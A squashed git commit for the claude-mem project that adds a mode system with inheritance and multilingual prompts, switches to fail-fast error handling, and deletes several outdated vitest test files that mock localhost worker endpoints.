feat: Mode system with inheritance and multilingual support (#412)

* feat: add domain management system with support for multiple domain profiles

- Introduced DomainManager class for loading and managing domain profiles.
- Added support for a default domain ('code') and fallback mechanisms.
- Implemented domain configuration validation and error handling.
- Created types for domain configuration, observation types, and concepts.
- Added new directory for domain profiles and ensured its existence.
- Updated SettingsDefaultsManager to include CLAUDE_MEM_DOMAIN setting.

* Refactor domain management to mode management

- Removed DomainManager class and replaced it with ModeManager for better clarity and functionality.
- Updated types from DomainConfig to ModeConfig and DomainPrompts to ModePrompts.
- Changed references from domains to modes in the settings and paths.
- Ensured backward compatibility by maintaining the fallback mechanism to the 'code' mode.

* feat: add migration 008 to support mode-agnostic observations and refactor service layer references in documentation

* feat: add new modes for code development and email investigation with detailed observation types and concepts

* Refactor observation parsing and prompt generation to incorporate mode-specific configurations

- Updated `parseObservations` function to use 'observation' as a universal fallback type instead of 'change', utilizing active mode's valid observation types.
- Modified `buildInitPrompt` and `buildContinuationPrompt` functions to accept a `ModeConfig` parameter, allowing for dynamic prompt content based on the active mode.
- Enhanced `ModePrompts` interface to include additional guidance for observers, such as recording focus and skip guidance.
- Adjusted the SDKAgent to load the active mode and pass it to prompt generation functions, ensuring prompts are tailored to the current mode's context.

* fix: correct mode prompt injection to preserve exact wording and type list visibility

- Add script to extract prompts from main branch prompts.ts into code.yaml
- Fix prompts.ts to show type list in XML template (e.g., "[ bugfix | feature | ... ]")
- Keep 'change' as fallback type in parser.ts (maintain backwards compatibility)
- Regenerate code.yaml with exact wording from original hardcoded prompts
- Build succeeds with no TypeScript errors

* fix: update ModeManager to load JSON mode files and improve validation

- Changed ModeManager to load mode configurations from JSON files instead of YAML.
- Removed the requirement for an "observation" type and updated validation to require at least one observation type.
- Updated fallback behavior in the parser to use the first type from the active mode's type list.
- Added comprehensive tests for mode loading, prompt injection, and parser integration, ensuring correct behavior across different modes.
- Introduced new mode JSON files for "Code Development" and "Email Investigation" with detailed observation types and prompts.

* Add mode configuration loading and update licensing information for Ragtime

- Implemented loading of mode configuration in WorkerService before database initialization.
- Added PolyForm Noncommercial License 1.0.0 to Ragtime directory.
- Created README.md for Ragtime with licensing details and usage guidelines.

* fix: add datasets directory to .gitignore to prevent accidental commits

* refactor: remove unused plugin package.json file

* chore: add package.json for claude-mem plugin with version 7.4.5

* refactor: remove outdated tests and improve error handling

- Deleted tests for ChromaSync error handling, smart install, strip memory tags, and user prompt tag stripping due to redundancy or outdated logic.
- Removed vitest configuration as it is no longer needed.
- Added a comprehensive implementation plan for fixing the modes system, addressing critical issues and improving functionality.
- Created a detailed test analysis report highlighting the quality and effectiveness of the current test suite, identifying areas for improvement.
- Introduced a new plugin package.json for runtime dependencies related to claude-mem hooks.

* refactor: remove parser regression tests to streamline codebase

* docs: update CLAUDE.md to clarify test management and changelog generation

* refactor: remove migration008 for mode-agnostic observations

* Refactor observation type handling to use ModeManager for icons and emojis

- Removed direct mappings of observation types to icons and work emojis in context-generator, FormattingService, SearchManager, and TimelineService.
- Integrated ModeManager to dynamically retrieve icons and emojis based on the active mode.
- Improved maintainability by centralizing the logic for observation type representation.

* Refactor observation metadata constants and update context generator

- Removed the explicit declaration of OBSERVATION_TYPES and OBSERVATION_CONCEPTS from observation-metadata.ts.
- Introduced fallback default strings for DEFAULT_OBSERVATION_TYPES_STRING and DEFAULT_OBSERVATION_CONCEPTS_STRING.
- Updated context-generator.ts to utilize observation types and concepts from ModeManager instead of constants.

* refactor: remove intermediate error handling from hooks (Phase 1)

Apply "fail fast" error handling strategy - errors propagate and crash loud
instead of being caught, wrapped, and re-thrown at intermediate layers.

Changes:
- Remove try/catch around fetch calls in all hooks - let errors throw
- Add try/catch ONLY around JSON.parse at entry points
- Delete error-handler.ts and hook-error-handler.ts (no longer needed)
- Update worker-utils.ts: functions now throw instead of returning null
- Update transcript-parser.ts: throw on missing path, empty file, malformed JSON
- Remove all handleWorkerError, handleFetchError imports

Philosophy: If something breaks, we KNOW it broke. No silent failures.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* refactor: remove intermediate error handling from worker service (Phase 2)

Apply "fail fast" error handling strategy to worker service layer.

Changes:
- worker-service.ts: Remove try/catch from version endpoint, cleanup,
  MCP close, process enumeration, force kill, and isAlive check
- SessionRoutes.ts: Remove try/catch from JSON.stringify calls, remove
  .catch() from Chroma sync and SDK agent calls
- SettingsRoutes.ts: Remove try/catch from toggleMcp()
- DatabaseManager.ts: Remove .catch() from backfill and close operations
- SDKAgent.ts: Keep outer try/catch (top-level), remove .catch() from
  Chroma sync operations
- SSEBroadcaster.ts: Remove try/catch from broadcast and sendToClient

Philosophy: Errors propagate and crash loud. BaseRouteHandler.wrapHandler
provides top-level catching for HTTP routes.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* refactor: remove error swallowing from SQLite services (Phase 3)

Apply "fail fast" error handling strategy to database layer.

SessionStore.ts migrations:
- ensureWorkerPortColumn(): Remove outer try/catch, let it throw
- ensurePromptTrackingColumns(): Remove outer try/catch, let it throw
- removeSessionSummariesUniqueConstraint(): Keep inner transaction
  rollback, remove outer catch
- addObservationHierarchicalFields(): Remove outer try/catch
- makeObservationsTextNullable(): Keep inner transaction rollback,
  remove outer catch
- createUserPromptsTable(): Keep inner transaction rollback, remove
  outer catch
- getFilesForSession(): Remove try/catch around JSON.parse

SessionSearch.ts:
- ensureFTSTables(): Remove try/catch, let it throw

Philosophy: Migration errors that are swallowed mean we think the
database is fine when it's not. Keep only inner transaction rollback
try/catch blocks.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* refactor: remove error hiding from utilities (Phase 4)

Apply "fail fast" error handling strategy to utility layer.

logger.ts:
- formatTool(): Remove try/catch, let JSON.parse throw on malformed input

context-generator.ts:
- loadContextConfig(): Remove try/catch, let parseInt throw on invalid settings
- Transcript extraction: Remove try/catch, let file read errors propagate

ChromaSync.ts:
- close(): Remove nested try/catch blocks, let close errors propagate

Philosophy: No silent fallbacks or hidden defaults. If something breaks,
we know it broke immediately.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* feat: serve static UI assets and update package root path

- Added middleware to serve static UI assets (JS, CSS, fonts, etc.) in ViewerRoutes.
- Updated getPackageRoot function to correctly return the package root directory as one level up from the current directory.

* feat: Enhance mode loading with inheritance support

- Introduced parseInheritance method to handle parent--override mode IDs.
- Added deepMerge method for recursively merging mode configurations.
- Updated loadMode method to support inheritance, loading parent modes and applying overrides.
- Improved error handling for missing mode files and logging for better traceability.

* fix(modes): correct inheritance file resolution and path handling

* Refactor code structure for improved readability and maintainability

* feat: Add mode configuration documentation and examples

* fix: Improve concurrency handling in translateReadme function

* Refactor SDK prompts to enhance clarity and structure

- Updated the `buildInitPrompt` and `buildContinuationPrompt` functions in `prompts.ts` to improve the organization of prompt components, including the addition of language instructions and footer messages.
- Removed redundant instructions and emphasized the importance of recording observations.
- Modified the `ModePrompts` interface in `types.ts` to include new properties for system identity, language instructions, and output format header, ensuring better flexibility and clarity in prompt generation.

* Enhance prompts with language instructions and XML formatting

- Updated `buildInitPrompt`, `buildSummaryPrompt`, and `buildContinuationPrompt` functions to include detailed language instructions in XML comments.
- Ensured that language instructions guide users to keep XML tags in English while writing content in the specified language.
- Modified the `buildSummaryPrompt` function to accept `mode` as a parameter for consistency.
- Adjusted the call to `buildSummaryPrompt` in `SDKAgent` to pass the `mode` argument.

* Refactor XML prompt generation in SDK

- Updated the buildInitPrompt, buildSummaryPrompt, and buildContinuationPrompt functions to use new placeholders for XML elements, improving maintainability and readability.
- Removed redundant language instructions in comments for clarity.
- Added new properties to ModePrompts interface for better structure and organization of XML placeholders and section headers.

* feat: Update observation prompts and structure across multiple languages

* chore: Remove planning docs and update Ragtime README

Remove ephemeral development artifacts:
- .claude/plans/modes-system-fixes.md
- .claude/test-analysis-report.md
- PROMPT_INJECTION_ANALYSIS.md

Update ragtime/README.md to explain:
- Feature is not yet implemented
- Dependency on modes system (now complete in PR #412)
- Ready to be scripted out in future release

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

* fix: Move summary prompts to mode files for multilingual support

Summary prompts were hardcoded in English in prompts.ts, breaking
multilingual support. Now properly mode-based:

- Added summary_instruction, summary_context_label,
  summary_format_instruction, summary_footer to code.json
- Updated buildSummaryPrompt() to use mode fields instead of hardcoded text
- Added summary_footer with language instructions to all 10 language modes
- Language modes keep English prompts + language requirement footer

This fixes the gaslighting where we claimed full multilingual support
but summaries were still generated in English.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

* chore: Clean up README by removing local preview instructions and streamlining beta features section

* Add translated README files for Ukrainian, Vietnamese, and Chinese languages

* Add new language modes for code development in multiple languages

- Introduced JSON configurations for Code Development in Greek, Finnish, Hebrew, Hindi, Hungarian, Indonesian, Italian, Dutch, Norwegian, Polish, Brazilian Portuguese, Romanian, Swedish, Turkish, and Ukrainian.
- Each configuration includes prompts for observations, summaries, and instructions tailored to the respective language.
- Ensured that all prompts emphasize the importance of generating observations without referencing the agent's actions.

* Add multilingual support links to README files in various languages

- Updated README.id.md, README.it.md, README.ja.md, README.ko.md, README.nl.md, README.no.md, README.pl.md, README.pt-br.md, README.ro.md, README.ru.md, README.sv.md, README.th.md, README.tr.md, README.uk.md, README.vi.md, and README.zh.md to include links to other language versions.
- Each README now features a centered paragraph with flags and links for easy navigation between different language documents.

---------

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
This commit is contained in:
Alex Newman
2025-12-22 20:14:18 -05:00
committed by GitHub
parent db02da148f
commit 3ea0b60b9f
141 changed files with 11834 additions and 6699 deletions
-37
View File
@@ -1,37 +0,0 @@
import { describe, it, expect } from 'vitest';
/**
* Tests for branch selector validation
*
* The branch selector allows users to switch between stable and experimental branches.
* This test validates that the allowed branches list is correct.
*/
describe('Branch Selector', () => {
it('should allow main branch', () => {
const allowedBranches = ['main', 'beta/7.0', 'feature/bun-executable'];
expect(allowedBranches).toContain('main');
});
it('should allow beta/7.0 branch', () => {
const allowedBranches = ['main', 'beta/7.0', 'feature/bun-executable'];
expect(allowedBranches).toContain('beta/7.0');
});
it('should allow feature/bun-executable branch', () => {
const allowedBranches = ['main', 'beta/7.0', 'feature/bun-executable'];
expect(allowedBranches).toContain('feature/bun-executable');
});
it('should reject invalid branch names', () => {
const allowedBranches = ['main', 'beta/7.0', 'feature/bun-executable'];
expect(allowedBranches).not.toContain('invalid-branch');
expect(allowedBranches).not.toContain('develop');
expect(allowedBranches).not.toContain('feature/other');
});
it('should have exactly 3 allowed branches', () => {
const allowedBranches = ['main', 'beta/7.0', 'feature/bun-executable'];
expect(allowedBranches).toHaveLength(3);
});
});
-101
View File
@@ -1,101 +0,0 @@
import { describe, it, expect, vi } from 'vitest';
import { existsSync } from 'fs';
import { spawnSync } from 'child_process';
// Mock the dependencies
vi.mock('fs', () => ({
existsSync: vi.fn()
}));
vi.mock('child_process', () => ({
spawnSync: vi.fn()
}));
// Import after mocking
import { getBunPath, isBunAvailable, getBunPathOrThrow } from '../src/utils/bun-path';
describe('bun-path utility', () => {
it('should return "bun" when available in PATH', () => {
// Mock successful bun --version check
vi.mocked(spawnSync).mockReturnValue({
status: 0,
stdout: Buffer.from('1.0.0'),
stderr: Buffer.from(''),
pid: 1234,
output: [],
signal: null
} as any);
const result = getBunPath();
expect(result).toBe('bun');
expect(spawnSync).toHaveBeenCalledWith('bun', ['--version'], expect.any(Object));
});
it('should check common installation paths when not in PATH', () => {
// Mock failed PATH check
vi.mocked(spawnSync).mockReturnValue({
status: 1,
stdout: Buffer.from(''),
stderr: Buffer.from(''),
pid: 1234,
output: [],
signal: null
} as any);
// Mock existsSync to return true for ~/.bun/bin/bun
vi.mocked(existsSync).mockImplementation((path: any) => {
return path.includes('.bun/bin/bun');
});
const result = getBunPath();
expect(result).toContain('.bun/bin/bun');
});
it('should return null when bun is not found anywhere', () => {
// Mock failed PATH check
vi.mocked(spawnSync).mockReturnValue({
status: 1,
stdout: Buffer.from(''),
stderr: Buffer.from(''),
pid: 1234,
output: [],
signal: null
} as any);
// Mock existsSync to always return false
vi.mocked(existsSync).mockReturnValue(false);
const result = getBunPath();
expect(result).toBeNull();
});
it('should return true for isBunAvailable when bun is found', () => {
// Mock successful bun check
vi.mocked(spawnSync).mockReturnValue({
status: 0,
stdout: Buffer.from('1.0.0'),
stderr: Buffer.from(''),
pid: 1234,
output: [],
signal: null
} as any);
const result = isBunAvailable();
expect(result).toBe(true);
});
it('should throw error in getBunPathOrThrow when bun not found', () => {
// Mock failed bun check
vi.mocked(spawnSync).mockReturnValue({
status: 1,
stdout: Buffer.from(''),
stderr: Buffer.from(''),
pid: 1234,
output: [],
signal: null
} as any);
vi.mocked(existsSync).mockReturnValue(false);
expect(() => getBunPathOrThrow()).toThrow('Bun is required');
});
});
@@ -1,259 +0,0 @@
/**
* Test: Hook Error Logging
*
* Verifies that hooks properly log errors when failures occur.
* This test prevents regression of silent failure bugs (observations 25389, 25307).
*
* Recent bugs:
* - save-hook was completely silent on errors
* - new-hook didn't log fetch failures
* - context-hook had no error context
*/
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { handleFetchError } from '../../src/hooks/shared/error-handler.js';
import { handleWorkerError } from '../../src/shared/hook-error-handler.js';
describe('Hook Error Logging', () => {
let consoleErrorSpy: any;
let loggerErrorSpy: any;
beforeEach(() => {
vi.clearAllMocks();
consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
});
describe('handleFetchError', () => {
it('logs error with full context when fetch fails', () => {
const mockResponse = {
ok: false,
status: 500,
statusText: 'Internal Server Error'
} as Response;
const errorText = 'Database connection failed';
const context = {
hookName: 'save',
operation: 'Observation storage',
toolName: 'Bash',
sessionId: 'test-session-123',
port: 37777
};
expect(() => {
handleFetchError(mockResponse, errorText, context);
}).toThrow();
// Verify: Error thrown contains user-facing message with restart instructions
try {
handleFetchError(mockResponse, errorText, context);
} catch (error: any) {
expect(error.message).toContain('Failed Observation storage for Bash');
expect(error.message).toContain('claude-mem restart');
}
});
it('includes port and session ID in error context', () => {
const mockResponse = {
ok: false,
status: 404
} as Response;
const context = {
hookName: 'context',
operation: 'Context generation',
project: 'my-project',
port: 37777
};
try {
handleFetchError(mockResponse, 'Not found', context);
} catch (error: any) {
expect(error.message).toContain('Context generation failed');
}
});
it('provides different messages for operations with and without tools', () => {
const mockResponse = { ok: false, status: 500 } as Response;
// With tool name
const withTool = {
hookName: 'save',
operation: 'Save',
toolName: 'Read'
};
try {
handleFetchError(mockResponse, 'error', withTool);
} catch (error: any) {
expect(error.message).toContain('for Read');
}
// Without tool name
const withoutTool = {
hookName: 'context',
operation: 'Context generation'
};
try {
handleFetchError(mockResponse, 'error', withoutTool);
} catch (error: any) {
expect(error.message).not.toContain('for');
expect(error.message).toContain('Context generation failed');
}
});
});
describe('handleWorkerError', () => {
it('handles timeout errors with restart instructions', () => {
const timeoutError = new Error('The operation was aborted due to timeout');
timeoutError.name = 'TimeoutError';
expect(() => {
handleWorkerError(timeoutError);
}).toThrow('Worker service connection failed');
});
it('handles connection refused errors with restart instructions', () => {
const connError = new Error('connect ECONNREFUSED 127.0.0.1:37777') as any;
connError.cause = { code: 'ECONNREFUSED' };
expect(() => {
handleWorkerError(connError);
}).toThrow('claude-mem restart');
});
it('re-throws non-connection errors unchanged', () => {
const genericError = new Error('Something went wrong');
try {
handleWorkerError(genericError);
expect.fail('Should have thrown');
} catch (error: any) {
expect(error.message).toBe('Something went wrong');
expect(error.message).not.toContain('claude-mem restart');
}
});
it('preserves original error message in thrown error', () => {
const originalError = new Error('Database write failed');
try {
handleWorkerError(originalError);
} catch (error: any) {
expect(error.message).toContain('Database write failed');
}
});
});
describe('Real Hook Error Scenarios', () => {
it('save-hook logs context when observation storage fails', async () => {
// Simulate save-hook.ts fetch failure
global.fetch = vi.fn().mockResolvedValue({
ok: false,
status: 500,
text: async () => 'Internal error'
});
const mockContext = {
hookName: 'save',
operation: 'Observation storage',
toolName: 'Edit',
sessionId: 'session-456',
port: 37777
};
const response = await fetch('http://127.0.0.1:37777/api/sessions/observations');
const errorText = await response.text();
expect(() => {
handleFetchError(response, errorText, mockContext);
}).toThrow('Failed Observation storage for Edit');
});
it('new-hook logs context when session initialization fails', async () => {
global.fetch = vi.fn().mockResolvedValue({
ok: false,
status: 400,
text: async () => 'Invalid session ID'
});
const mockContext = {
hookName: 'new',
operation: 'Session initialization',
project: 'claude-mem',
port: 37777
};
const response = await fetch('http://127.0.0.1:37777/api/sessions/init');
const errorText = await response.text();
expect(() => {
handleFetchError(response, errorText, mockContext);
}).toThrow('Session initialization failed');
});
it('context-hook logs context when context generation fails', async () => {
global.fetch = vi.fn().mockResolvedValue({
ok: false,
status: 503,
text: async () => 'Service unavailable'
});
const mockContext = {
hookName: 'context',
operation: 'Context generation',
project: 'my-app',
port: 37777
};
const response = await fetch('http://127.0.0.1:37777/api/context/inject');
const errorText = await response.text();
expect(() => {
handleFetchError(response, errorText, mockContext);
}).toThrow('Context generation failed');
});
});
describe('Error Message Quality', () => {
it('error messages are actionable and include next steps', () => {
const mockResponse = { ok: false, status: 500 } as Response;
const context = {
hookName: 'save',
operation: 'Test operation'
};
try {
handleFetchError(mockResponse, 'error', context);
} catch (error: any) {
// Must include restart command
expect(error.message).toMatch(/claude-mem restart/);
// Must be user-facing (no technical jargon)
expect(error.message).not.toContain('ECONNREFUSED');
expect(error.message).not.toContain('fetch failed');
}
});
it('error messages identify which hook failed', () => {
const mockResponse = { ok: false, status: 500 } as Response;
const contexts = [
{ hookName: 'save', operation: 'Save' },
{ hookName: 'context', operation: 'Context' },
{ hookName: 'new', operation: 'Init' },
{ hookName: 'summary', operation: 'Summary' }
];
for (const context of contexts) {
try {
handleFetchError(mockResponse, 'error', context);
} catch (error: any) {
// Error should help user identify which operation failed
expect(error.message).toBeTruthy();
expect(error.message.length).toBeGreaterThan(10);
}
}
});
});
});
@@ -1,248 +0,0 @@
/**
* Happy Path Test: Batch Observations Endpoint
*
* Tests that the batch observations endpoint correctly retrieves
* multiple observations by their IDs in a single request.
*/
import { describe, it, expect, beforeEach, vi } from 'vitest';
import { getWorkerPort } from '../../src/shared/worker-utils.js';
describe('Batch Observations Endpoint', () => {
const WORKER_PORT = getWorkerPort();
const WORKER_BASE_URL = `http://127.0.0.1:${WORKER_PORT}`;
beforeEach(() => {
vi.clearAllMocks();
});
it('retrieves multiple observations by IDs', async () => {
// Mock response with multiple observations
const mockObservations = [
{
id: 1,
sdk_session_id: 'test-session-1',
project: 'test-project',
type: 'discovery',
title: 'Test Discovery 1',
created_at: '2024-01-01T10:00:00Z',
created_at_epoch: 1704103200000
},
{
id: 2,
sdk_session_id: 'test-session-2',
project: 'test-project',
type: 'bugfix',
title: 'Test Bugfix',
created_at: '2024-01-02T10:00:00Z',
created_at_epoch: 1704189600000
},
{
id: 3,
sdk_session_id: 'test-session-3',
project: 'test-project',
type: 'feature',
title: 'Test Feature',
created_at: '2024-01-03T10:00:00Z',
created_at_epoch: 1704276000000
}
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => mockObservations
});
// Execute: Fetch observations by IDs
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ ids: [1, 2, 3] })
});
const data = await response.json();
// Verify: Response contains all requested observations
expect(response.ok).toBe(true);
expect(data).toHaveLength(3);
expect(data[0].id).toBe(1);
expect(data[1].id).toBe(2);
expect(data[2].id).toBe(3);
});
it('applies orderBy parameter correctly', async () => {
const mockObservations = [
{
id: 3,
created_at: '2024-01-03T10:00:00Z',
created_at_epoch: 1704276000000
},
{
id: 2,
created_at: '2024-01-02T10:00:00Z',
created_at_epoch: 1704189600000
},
{
id: 1,
created_at: '2024-01-01T10:00:00Z',
created_at_epoch: 1704103200000
}
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => mockObservations
});
// Execute: Fetch with date_desc ordering
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
ids: [1, 2, 3],
orderBy: 'date_desc'
})
});
const data = await response.json();
// Verify: Results are ordered by date descending
expect(data[0].id).toBe(3);
expect(data[1].id).toBe(2);
expect(data[2].id).toBe(1);
});
it('applies limit parameter correctly', async () => {
const mockObservations = [
{ id: 3, created_at_epoch: 1704276000000 },
{ id: 2, created_at_epoch: 1704189600000 }
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => mockObservations
});
// Execute: Fetch with limit=2
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
ids: [1, 2, 3],
limit: 2
})
});
const data = await response.json();
// Verify: Only 2 results returned
expect(data).toHaveLength(2);
});
it('filters by project parameter', async () => {
const mockObservations = [
{ id: 1, project: 'project-a' },
{ id: 2, project: 'project-a' }
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => mockObservations
});
// Execute: Fetch with project filter
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
ids: [1, 2, 3],
project: 'project-a'
})
});
const data = await response.json();
// Verify: Only matching project observations returned
expect(data).toHaveLength(2);
expect(data.every((obs: any) => obs.project === 'project-a')).toBe(true);
});
it('returns empty array for empty IDs', async () => {
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => []
});
// Execute: Fetch with empty IDs array
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ ids: [] })
});
const data = await response.json();
// Verify: Empty array returned
expect(data).toEqual([]);
});
it('returns error for invalid IDs parameter', async () => {
global.fetch = vi.fn().mockResolvedValue({
ok: false,
status: 400,
json: async () => ({ error: 'ids must be an array of numbers' })
});
// Execute: Fetch with invalid IDs (string instead of array)
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ ids: 'not-an-array' })
});
const data = await response.json();
// Verify: Error response returned
expect(response.ok).toBe(false);
expect(data.error).toBe('ids must be an array of numbers');
});
it('returns error for non-integer IDs', async () => {
global.fetch = vi.fn().mockResolvedValue({
ok: false,
status: 400,
json: async () => ({ error: 'All ids must be integers' })
});
// Execute: Fetch with mixed types in IDs array
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ ids: [1, 'two', 3] })
});
const data = await response.json();
// Verify: Error response returned
expect(response.ok).toBe(false);
expect(data.error).toBe('All ids must be integers');
});
});
-126
View File
@@ -1,126 +0,0 @@
/**
* Happy Path Test: Context Injection (SessionStart)
*
* Tests that when a session starts, the context hook can retrieve
* formatted context from the worker containing recent observations.
*/
import { describe, it, expect, beforeEach, vi } from 'vitest';
import { sampleObservation, featureObservation } from '../helpers/scenarios.js';
import { getWorkerPort } from '../../src/shared/worker-utils.js';
describe('Context Injection (SessionStart)', () => {
const WORKER_PORT = getWorkerPort();
const PROJECT_NAME = 'claude-mem';
beforeEach(() => {
vi.clearAllMocks();
});
it('returns formatted context when observations exist', async () => {
// This is a component test that verifies the happy path:
// Session starts → Hook calls worker → Worker queries database → Returns formatted context
// Setup: Mock fetch to simulate worker response
const mockContext = `# [claude-mem] recent context
## Recent Work (2 observations)
### [bugfix] Fixed parser bug
The XML parser was not handling empty tags correctly.
Files: /project/src/parser.ts
### [feature] Added search functionality
Implemented full-text search using FTS5.
Files: /project/src/services/search.ts`;
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
text: async () => mockContext
});
// Execute: Call context endpoint (what the hook does)
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/context/inject?project=${encodeURIComponent(PROJECT_NAME)}`
);
// Verify: Response is successful
expect(response.ok).toBe(true);
expect(response.status).toBe(200);
// Verify: Context contains observations
const text = await response.text();
expect(text).toContain('recent context');
expect(text).toContain('Fixed parser bug');
expect(text).toContain('Added search functionality');
expect(text).toContain('bugfix');
expect(text).toContain('feature');
});
it('returns fallback message when worker is down', async () => {
// Setup: Mock fetch to simulate worker not available
global.fetch = vi.fn().mockRejectedValue(new Error('ECONNREFUSED'));
// Execute: Attempt to call context endpoint
try {
await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/context/inject?project=${encodeURIComponent(PROJECT_NAME)}`
);
} catch (error: any) {
// Verify: Error indicates worker is down
expect(error.message).toContain('ECONNREFUSED');
}
// The hook should handle this gracefully and return a fallback message
// (This would be tested in hook-specific tests, not the worker endpoint tests)
});
it('handles empty observations gracefully', async () => {
// Setup: Mock fetch to simulate no observations available
const emptyContext = `# [claude-mem] recent context
No observations found for this project.`;
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
text: async () => emptyContext
});
// Execute: Call context endpoint
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/context/inject?project=${encodeURIComponent(PROJECT_NAME)}`
);
// Verify: Returns success with empty message
expect(response.ok).toBe(true);
const text = await response.text();
expect(text).toContain('No observations found');
});
it('supports colored output when requested', async () => {
// Setup: Mock fetch to simulate colored response
const coloredContext = `# [claude-mem] recent context
## Recent Work (1 observation)
### \x1b[33m[bugfix]\x1b[0m Fixed parser bug
The XML parser was not handling empty tags correctly.`;
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
text: async () => coloredContext
});
// Execute: Call context endpoint with colors parameter
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/context/inject?project=${encodeURIComponent(PROJECT_NAME)}&colors=true`
);
// Verify: Response contains ANSI color codes
expect(response.ok).toBe(true);
const text = await response.text();
expect(text).toContain('\x1b['); // ANSI escape code
});
});
@@ -1,284 +0,0 @@
/**
* Happy Path Test: Observation Capture (PostToolUse)
*
* Tests that tool usage is captured and queued for SDK processing.
* This is the core functionality of claude-mem - turning tool usage
* into compressed observations.
*/
import { describe, it, expect, beforeEach, vi } from 'vitest';
import {
bashCommandScenario,
readFileScenario,
writeFileScenario,
editFileScenario,
grepScenario,
sessionScenario
} from '../helpers/scenarios.js';
import { getWorkerPort } from '../../src/shared/worker-utils.js';
describe('Observation Capture (PostToolUse)', () => {
const WORKER_PORT = getWorkerPort();
beforeEach(() => {
vi.clearAllMocks();
});
it('captures Bash command observation', async () => {
// Setup: Mock worker response
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ status: 'queued' })
});
// Execute: Send Bash tool observation
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionScenario.claudeSessionId,
tool_name: bashCommandScenario.tool_name,
tool_input: bashCommandScenario.tool_input,
tool_response: bashCommandScenario.tool_response,
cwd: '/project/claude-mem'
})
}
);
// Verify: Observation queued successfully
expect(response.ok).toBe(true);
const result = await response.json();
expect(result.status).toBe('queued');
// Verify: Correct data sent to worker
const fetchCall = (global.fetch as any).mock.calls[0];
const requestBody = JSON.parse(fetchCall[1].body);
expect(requestBody.tool_name).toBe('Bash');
expect(requestBody.tool_input.command).toBe('git status');
});
it('captures Read file observation', async () => {
// Setup: Mock worker response
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ status: 'queued' })
});
// Execute: Send Read tool observation
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionScenario.claudeSessionId,
tool_name: readFileScenario.tool_name,
tool_input: readFileScenario.tool_input,
tool_response: readFileScenario.tool_response,
cwd: '/project'
})
}
);
// Verify: Observation queued successfully
expect(response.ok).toBe(true);
const result = await response.json();
expect(result.status).toBe('queued');
// Verify: File path captured correctly
const fetchCall = (global.fetch as any).mock.calls[0];
const requestBody = JSON.parse(fetchCall[1].body);
expect(requestBody.tool_name).toBe('Read');
expect(requestBody.tool_input.file_path).toContain('index.ts');
});
it('captures Write file observation', async () => {
// Setup: Mock worker response
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ status: 'queued' })
});
// Execute: Send Write tool observation
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionScenario.claudeSessionId,
tool_name: writeFileScenario.tool_name,
tool_input: writeFileScenario.tool_input,
tool_response: writeFileScenario.tool_response,
cwd: '/project'
})
}
);
// Verify: Observation queued successfully
expect(response.ok).toBe(true);
const result = await response.json();
expect(result.status).toBe('queued');
});
it('captures Edit file observation', async () => {
// Setup: Mock worker response
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ status: 'queued' })
});
// Execute: Send Edit tool observation
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionScenario.claudeSessionId,
